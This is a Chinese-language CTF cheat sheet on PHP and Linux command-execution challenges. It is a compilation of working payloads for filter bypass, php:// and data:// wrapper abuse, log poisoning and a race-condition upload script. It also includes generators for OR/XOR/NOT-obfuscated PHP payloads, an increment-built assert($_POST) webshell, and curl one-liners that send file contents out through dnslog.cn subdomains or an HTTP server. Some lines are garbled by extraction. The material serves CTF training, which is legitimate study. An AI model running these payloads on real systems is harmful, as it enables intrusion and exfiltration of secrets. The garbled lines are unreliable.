当前位置: 首页 > news >正文

CTF知识集-命令执行

CTF知识集-命令执行

写在开头可能会用到的提醒

  • ;可以用%0a来替换

  • ``是shell_exec的缩写

  • ls | tee 1 把ls的输出内容存入1这个文件

  • shell查看文件的几种方式,tac | more | less | tail | sort | tac | cat | head | od | expand

  • 针对flag 可以用grep { flag.php来进行查看

  • 遇到文件包含可以用伪协议来读取

  • 遇到输出到黑洞,可以用双写绕过,ls;ls或者ls||ls或者ls%26%26ls,%26是&的url编码

  • <?= 就相当于<?php echo,<?=ls;

  • 日志注入,条件:post的eval,先用ua构造一个一句话访问,日志里存在一句话了;然后用include把日志给包含住

  • 存在eval(post),可以用post去include( G E T [ a ] ) ∣ i n c l u d e " _GET[a]) | include " GET[a])include"_POST[a],a=php伪协议

  • 如果是eval(变量),可以尝试参数逃逸,例:a=?><?=eval($_POST[a])?>

  • 输出可以用print_r var_dump

  • 获取文件包含的所有变量,include包含住文件,var_dump(get_defined_vars()),或者echo $变量

  • 获取页面源代码,搭配eval可以用,echo file_get_contents() | show_source() | highlight_file

  • 文件重命名函数rename(‘文件名’,‘新文件名’),查看当前目录print_r(scandir(‘.’))

  • 利用环境变量来凑出shell命令,例如 P A T H : A {PATH:~A} PATH: A{PWD:~A}

  • linux的shell中两个单引号忽略,例如l’‘s或者l\s或者’l’‘s’,单引号会被忽略

  • linux的shell中,查看文件可以用<代替空格,例如:cat<flag或者cat<>flag

  • linux的/bin目录下都是可以执行二进制文件,例如cat是/bin/cat,在一些题目可能需要用到/bin/cat这种

  • linux的shell的通配符,cat = /bin/ca[a-z]

  • 环境变量截取,在Linux下a=ca;${a}t flag.php 等同于 cat flag.php

  • linux命令另类执行方法,$(printf “ls”) 等同于 $(printf \154\163) 都是执行ls,\154\163为八进制

  • linux的shell如果过滤空格,可以用$IFS | ${IFS} | %09| < | <> | %0b | %0c绕过,%09是tab

  • linux的shell如果过滤空格,可以截取环境,例如执行命令env,会出现一堆命令。Linux命令:name=si bei;${name:2:1} 那么这样子就会出现空格,看图示例

    image-20241212204051162

  • 命令执行的另类方式,在linux的shell中 echo bHMK|base64 -d 这样相当于ls,以此类推,可以构造任意字符。原理 echo ls 这样就相当于ls,echo ls|base64 这样可以把ls给base64,然后 echo bHMK|base64 -d 就相当于先base64解密,变为 echo ls ,就相当于执行了ls

  • 通过DNS通道关键信息传出来,dnslog.cn,例如curl whoami` `.dnslog.cn,那么就会解析为root.dnslog.cn,可以加密payload,例如/?cmd=a=`cat flag.php|base64`;curl ${a:0:10} .dnslog.cn,这样慢慢带出来

  • 通过http通道把消息带出来,例如/?cmd=a= cat flag.php|base64 ;curl your.domin/?a=${a:0:10},然后查看网站日志,把消息带出来

一些栗子

条件竞争

<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}

payload

上py脚本

import requestsurl = "http://ae1c9002-23cb-4075-abb5-f41d8b00947c.challenge.ctf.show/?c=. /???/????????[@-[]"file = {"c": b"#!/bin/sh\ncat flag.php"
}req = requests.post(url=url, files=file)
print(req.text)

思路

对环境进行强制POST上传,会将上传的东西变为文件,强制临时保存在/tmp/php???目录,???代表随机大小写字母,php代码结束后会自动删除。如果我们在强制上传文件后,执行了系统命令,去执行我们上传的文件,就可以做到命令执行,形成了条件竞争。. 在linux中代表执行,. /???/???[@-[],代表去/tmp下匹配临时文件了,最后面的[@-[]是linux的通配符,匹配a-z,可以在linux下自己试试/bin/ca[a-z] test.txt

简单过滤

if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){eval($c);}

payload

/?c=system("cp fla?.php 1.txt");

思路

利用system函数,把flag文件复制为1.txt

简单过滤

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){eval($c);
}

payload

?c=`cp fla?.??? 1.txt`;

思路

利用``,把flag文件复制为1.txt

参数逃逸

if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}  
}

payload

/?c=eval($_GET[a]);&a=system("cp fla* 1.txt");

思路

参数逃逸,eval嵌套eval,GET一个参数,在新参数里面赋值

复杂过滤

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){eval($c);
}

payload

/?c=include%0a$_POST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

思路解析

使用include或者require包含文件,空格被过滤使用%0a来换行,分号被过滤无法闭合就使用?> ,后面接前面设置的参数,使用Php伪协议,
php://filter/convert.base64-encode/resource=文件名

文件包含

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){include($c);echo $flag;}

payload

?c=data://text/plain,<?php   system("cp fla?.php 1.txt");  ?>

思路

伪协议filter用不了,用data,执行函数

文件包含(短连接)

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){include($c);echo $flag;
}

payload

/?c=data://text/plain,<?=system("cp fla*.* 1.txt");  ?>

思路

把<?php 换成<?=

命令执行,复杂

if(isset($_GET[‘c’])){

$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'||\,|\<|\.|\>|\/|\?|\\\\/i", $c)){eval($c);
}

payload

get ?c=eval(array_pop(next(get_defined_vars())));
post a=system(tac flag.php);

思路

  • 先print_r(get_defined_vars()); post传入a=要执行的函数
  • next(print_r(get_defined_vars())); next () 函数将内部指针指向数组中的下一个元素,并输出
  • arrar_pop(next(print_r(get_defined_vars()))); 把数组中的值打印出来
  • 然后eval(arrar_pop(next(print_r(get_defined_vars())))) post传入要执行的函数

eval扫目录脚本

c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
#记得url编码
#在eval点进行传入

命令执行,或 异或 取反 自增脚本

例题

<?php
error_reporting(0);
highlight_file(__FILE__);
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/i',$code)){die('hacker');
}
eval($code);

或运算生成脚本

如何使用

将对应的代码丢进对应的文件,放到同一个文件夹。然后php [你的php文件],然后python [你的Py文件]

脚本

<?php
/* php脚本*/
/* author yu22x */$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)|urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);

# -*py脚本*-# author yu22ximport requests
import urllib
from sys import *
import os
def action(arg):s1=""s2=""for i in arg:f=open("or_rce.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="("+s1+"|"+s2+")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"print(param)

异或运算生成脚本

如何使用

将对应的代码丢进对应的文件,放到同一个文件夹。然后php [你的php文件],然后python [你的Py文件]

脚本

<?php/*author yu22x*/
/*php脚本*/$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)^urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);

# -*-这是Py脚本*-# author yu22ximport requests
import urllib
from sys import *
import os
def action(arg):s1=""s2=""for i in arg:f=open("xor_rce.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="("+s1+"^"+s2+")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"print(param)

取反运算生成脚本

如何使用

将对应的代码丢进对应的文件,放到同一个文件夹。然后php [你的php文件]

脚本

<?phpfwrite(STDOUT,'[+]your function: ');$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]your command: ');$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

自增运算脚本

如何使用

该方法在.0.12以上版本不可使用
构造出的语句为: assert($*POST[*]); 使用: *=php函数 ; 例如* =phpinfo();

脚本

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);__='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

相关文章:

CTF知识集-命令执行

CTF知识集-命令执行 写在开头可能会用到的提醒 ;可以用%0a来替换 是shell_exec的缩写 ls | tee 1 把ls的输出内容存入1这个文件 shell查看文件的几种方式&#xff0c;tac | more | less | tail | sort | tac | cat | head | od | expand 针对flag 可以用grep { flag.php来…...

基于米尔全志T527开发板的OpenCV进行手势识别方案

本文将介绍基于米尔电子MYD-LT527开发板&#xff08;米尔基于全志T527开发板&#xff09;的OpenCV手势识别方案测试。 摘自优秀创作者-小火苗 米尔基于全志T527开发板 一、软件环境安装 1.安装OpenCV sudo apt-get install libopencv-dev python3-opencv 2.安装pip sudo apt…...

Htpp中web通讯发送post(上传文件)、get请求

一、正常发送post请求 1、引入pom文件 <dependency><groupId>org.apache.httpcomponents</groupId><artifactId>httpclient</artifactId><version>4.5</version></dependency>2、这个是发送至正常的post、get请求 import org…...

【论文阅读笔记】HunyuanVideo: A Systematic Framework For Large Video Generative Models

HunyuanVideo: A Systematic Framework For Large Video Generative Models 前言引言Overview数据预处理数据过滤数据注释 模型架构设计3D Variational Auto-encoder Designtraininginference 统一的图像和视频生成架构Text encoderModel ScalingImage model scaling lawvideo …...

SpringBoot的事务钩子函数

如果需要在A方法执行完成之后做一个不影响主方法运行的动作B&#xff0c;我们需要判断这个A方法是否存在事务&#xff0c;并且使用异步执行动作B&#xff1b; import org.springframework.transaction.support.TransactionSynchronization; import org.springframework.transa…...

源码安装PHP-7.2.19

源码安装PHP-7.2.19 1.解压 tar -xjvf php-7.2.19.tar.bz2.编译 -prefix安装路径 cd php-7.2.19 ./configure --prefix/home/work/study 成功输出 3.make(构建) makemake testmake installlinux对php操作的一些命令 # 进入到php [rootvdb1 study]# cd php/ [rootvdb1 st…...

UE5制作伤害浮动数字

效果演示&#xff1a; 首先创建一个控件UI 添加画布和文本 文本设置样式 添加伤害浮动动画&#xff0c;根据自己喜好调整&#xff0c;我设置了缩放和不透明度 添加绑定 转到事件图表&#xff0c;事件构造设置动画 创建actor蓝图类 添加widget 获取位置 设置位移 创建一个被击中…...

学习日志024--opencv中处理轮廓的函数

目录 前言​​​​​​​ 一、 梯度处理的sobel算子函数 功能 参数 返回值 代码演示 二、梯度处理拉普拉斯算子 功能 参数 返回值 代码演示 三、Canny算子 功能 参数 返回值 代码演示 四、findContours函数与drawContours函数 功能 参数 返回值 代码演示 …...

(2024年最新)Linux(Ubuntu) 中配置静态IP(包含解决每次重启后配置文件失效问题)

Hello! 亲爱的小伙伴们&#xff0c;大家好呀&#xff08;Smile~&#xff09;&#xff01;我是Huazzi&#xff0c;欢迎观看本篇博客&#xff0c;接下来让我们一起来学习一下Ubuntu 中如何配置静态IP吧&#xff01;祝你有所收获&#xff01; 提前对Linux有所了解的小伙伴应该知道…...

DPDK用户态协议栈-TCP Posix API 2

tcp posix api send发送 ssize_t nsend(int sockfd, const void *buf, size_t len, __attribute__((unused))int flags) {ssize_t length 0;void* hostinfo get_host_fromfd(sockfd);if (hostinfo NULL) {return -1;}struct ln_tcp_stream* stream (struct ln_tcp_stream…...

[IT项目管理]项目时间管理(本章节3w字爆肝)

七.项目时间管理 7.1 项目进度的重要性 为什么要重视项目进度&#xff1a;在项目进行的过程之中会遇到变故。但是不论项目中发生了什么&#xff0c;时间总是在流逝&#xff0c;就可能会导致项目不可以在规定的时间完成。 7.2可能影响项目进度的因素 有员工离职个人的工作方…...

【python因果库实战5】使用银行营销数据集研究营销决策的效果5

目录 接触次数的效应 重新定义治疗变量和潜在混杂因素 更深入地审视干预情景 逆概率加权 标准化 总结及与非因果分析的比较 接触次数的效应 我们现在转而研究当前营销活动中接触次数的数量&#xff08;campaign&#xff09;对积极结果发生率的影响。具体来说&#xff0c;…...

【Qt】QWidget中的常见属性及其功能(二)

目录 六、windowOpacity 例子&#xff1a; 七、cursor 例子&#xff1a; 八、font 九、toolTip 例子&#xff1a; 十、focusPolicy 例子&#xff1a; 十一、styleSheet 计算机中的颜色表示 例子&#xff1a; 六、windowOpacity opacity是不透明度的意思。 用于设…...

9 OOM和JVM退出。OOM后JVM一定会退出吗?

首先我们把两个概念讲清楚 OOM是线程在申请堆内存&#xff0c;发现堆内存空间不足时候抛出的异常。 JVM退出的条件如下&#xff1a; java虚拟机在没有守护线程的时候会退出。守护线程是启动JVM的线程&#xff0c;服务于用户线程。 我们简单说下守护线程的功能: 1.日志的记录…...

学习笔记070——Java中【泛型】和【枚举】

文章目录 1、泛型1.1、为什么要使用泛型&#xff1f;1.2、泛型的应用1.3、泛型通配符1.4、泛型上限和下限1.5、泛型接口 2、枚举 1、泛型 Generics 是指在定义类的时候不指定类中某个信息&#xff08;属性/方法返回值&#xff09;的具体数据类型&#xff0c;而是用一个标识符来…...

【工具变量】碳排放市场交易数据(2013-2023年)

一、时间范围&#xff1a;2013年8月5日到2023年1月13日 二、具体指标&#xff1a; 交易日期 城市名称 交易品种 开盘价 最高价 最低价 成交均价 收盘价 前收盘价 涨跌幅 总成交量 总成交额 …...

【视频生成模型】——Hunyuan-video 论文及代码讲解和实操

&#x1f52e;混元文生视频官网 | &#x1f31f;Github代码仓库 | &#x1f3ac; Demo 体验 | &#x1f4dd;技术报告 | &#x1f60d;Hugging Face 文章目录 论文详解基础介绍数据预处理 &#xff08;Data Pre-processing&#xff09;数据过滤 (Data Filtering)数据标注 (Data…...

基线检查:Windows安全基线.【手动 || 自动】

基线定义 基线通常指配置和管理系统的详细描述&#xff0c;或者说是最低的安全要求&#xff0c;它包括服务和应用程序设置、操作系统组件的配置、权限和权利分配、管理规则等。 基线检查内容 主要包括账号配置安全、口令配置安全、授权配置、日志配置、IP通信配置等方面内容&…...

uniapp跨端适配—条件编译

在uniapp中&#xff0c;跨端适配是通过条件编译实现的。条件编译允许开发者根据不同的平台&#xff08;如iOS、Android、微信小程序、百度小程序等&#xff09;编写不同的代码。这样可以确保每个平台上的应用都能得到最优的性能和用户体验。 以下是uniapp中条件编译的基本语法…...

【Java基础面试题013】Java中静态方法和实例方法的区别是是么?

回答重点 静态方法 使用static关键字修修饰的方法属于类随着类的加载而加载&#xff0c;随着类的卸载而消失可以通过类名直接调用&#xff0c;也可以通过对象调用&#xff0c;但是这种方式不推荐&#xff0c;会混淆意义&#xff0c;也不利于后期维护与扩展 class Example {st…...

AI辅助开发:让快马平台生成具备语义联想能力的智能下拉词

最近在开发一个技术博客平台时&#xff0c;遇到了一个有趣的挑战&#xff1a;如何让标签输入框变得更智能&#xff1f;传统的下拉词匹配只能基于关键词的字面匹配&#xff0c;但技术领域的概念往往存在多种表达方式。比如用户输入"前端框架"&#xff0c;系统应该能联…...

intv_ai_mk11作品分享:会议纪要提炼、政策白话解读、技术术语通俗化实例

intv_ai_mk11作品分享&#xff1a;会议纪要提炼、政策白话解读、技术术语通俗化实例 1. 模型简介与核心能力 intv_ai_mk11是一款基于Llama架构的中等规模文本生成模型&#xff0c;特别擅长处理各类文本转换和解释任务。这个开箱即用的解决方案已经完成本地部署&#xff0c;用…...

金士顿SA400S37固态硬盘掉盘自救指南:手把手教你用phison_flash_id修复固件(附工具包)

金士顿SA400S37固态硬盘掉盘故障深度修复手册 固态硬盘突然"消失"在系统中&#xff1f;金士顿SA400S37系列用户可能正遭遇典型的固件故障。这种问题通常表现为硬盘在BIOS中时隐时现、系统仅识别为20MB容量或直接无法初始化。不同于物理损坏&#xff0c;这类固件级故障…...

Linux 调度器中的限流机制:throttled 标志的触发与解除

一、简介在实时系统和云计算环境中&#xff0c;资源隔离与公平分配是 Linux 内核调度的核心挑战。当多个任务共享 CPU 资源时&#xff0c;某些恶意或失控的任务可能耗尽全部 CPU 时间&#xff0c;导致关键任务饥饿&#xff08;Starvation&#xff09;。为此&#xff0c;Linux 内…...

【Python内存管理黄金法则】:20年SRE亲授生产环境OOM崩溃前的5个关键干预点

第一章&#xff1a;Python智能体内存管理策略的底层认知与生产意义Python智能体&#xff08;如基于LLM的Agent系统&#xff09;在长时间运行、多轮对话与状态缓存场景下&#xff0c;内存行为远超传统脚本应用。其内存压力不仅来自模型权重加载&#xff0c;更源于动态生成的中间…...

遥感小白别慌!ENVI 5.6 基础操作保姆级教程:从打开文件到剖面图显示,一篇搞定

遥感新手实战指南&#xff1a;ENVI 5.6 从零到剖面分析的完整工作流 第一次打开ENVI时&#xff0c;那个布满英文按钮的界面和密密麻麻的菜单栏&#xff0c;是不是让你瞬间想起了大学时被专业课支配的恐惧&#xff1f;别担心&#xff0c;三年前的我也是这样——面对一幅Landsat…...

jsDelivr CDN:如何为你的开源项目选择最佳加速方案

1. 为什么你的开源项目需要jsDelivr CDN 作为一个开源项目维护者&#xff0c;我深刻理解静态资源加载速度对用户体验的影响。去年我的一个Vue组件库项目就遇到过这样的问题&#xff1a;海外用户访问飞快&#xff0c;但国内用户总是抱怨加载缓慢。直到我把资源托管到jsDelivr&am…...

Flutter文件操作实战:File_selector跨平台文件处理从入门到精通

1. 为什么Flutter开发者都需要掌握File_selector&#xff1f; 在移动应用和桌面应用开发中&#xff0c;文件操作就像我们日常生活中的"文件柜"——你需要存放、查找、整理各种文档。而Flutter作为跨平台框架&#xff0c;最大的挑战就是如何在不同操作系统上实现统一的…...

低代码组件“看似简单,上线即崩”?20年专家拆解5个被90%团队忽略的线程安全与事务传播陷阱

第一章&#xff1a;低代码组件“看似简单&#xff0c;上线即崩”的真相低代码平台承诺“拖拽即交付”&#xff0c;但真实生产环境中&#xff0c;大量业务系统在上线后数小时内便出现表单提交失败、数据丢失、权限错乱或页面白屏等问题。这些故障并非源于复杂逻辑&#xff0c;而…...

高级CMB2技巧:可重复字段组和动态条件显示

高级CMB2技巧&#xff1a;可重复字段组和动态条件显示 【免费下载链接】CMB2 CMB2 is a developers toolkit for building metaboxes, custom fields, and forms for WordPress that will blow your mind. 项目地址: https://gitcode.com/gh_mirrors/cm/CMB2 CMB2是Word…...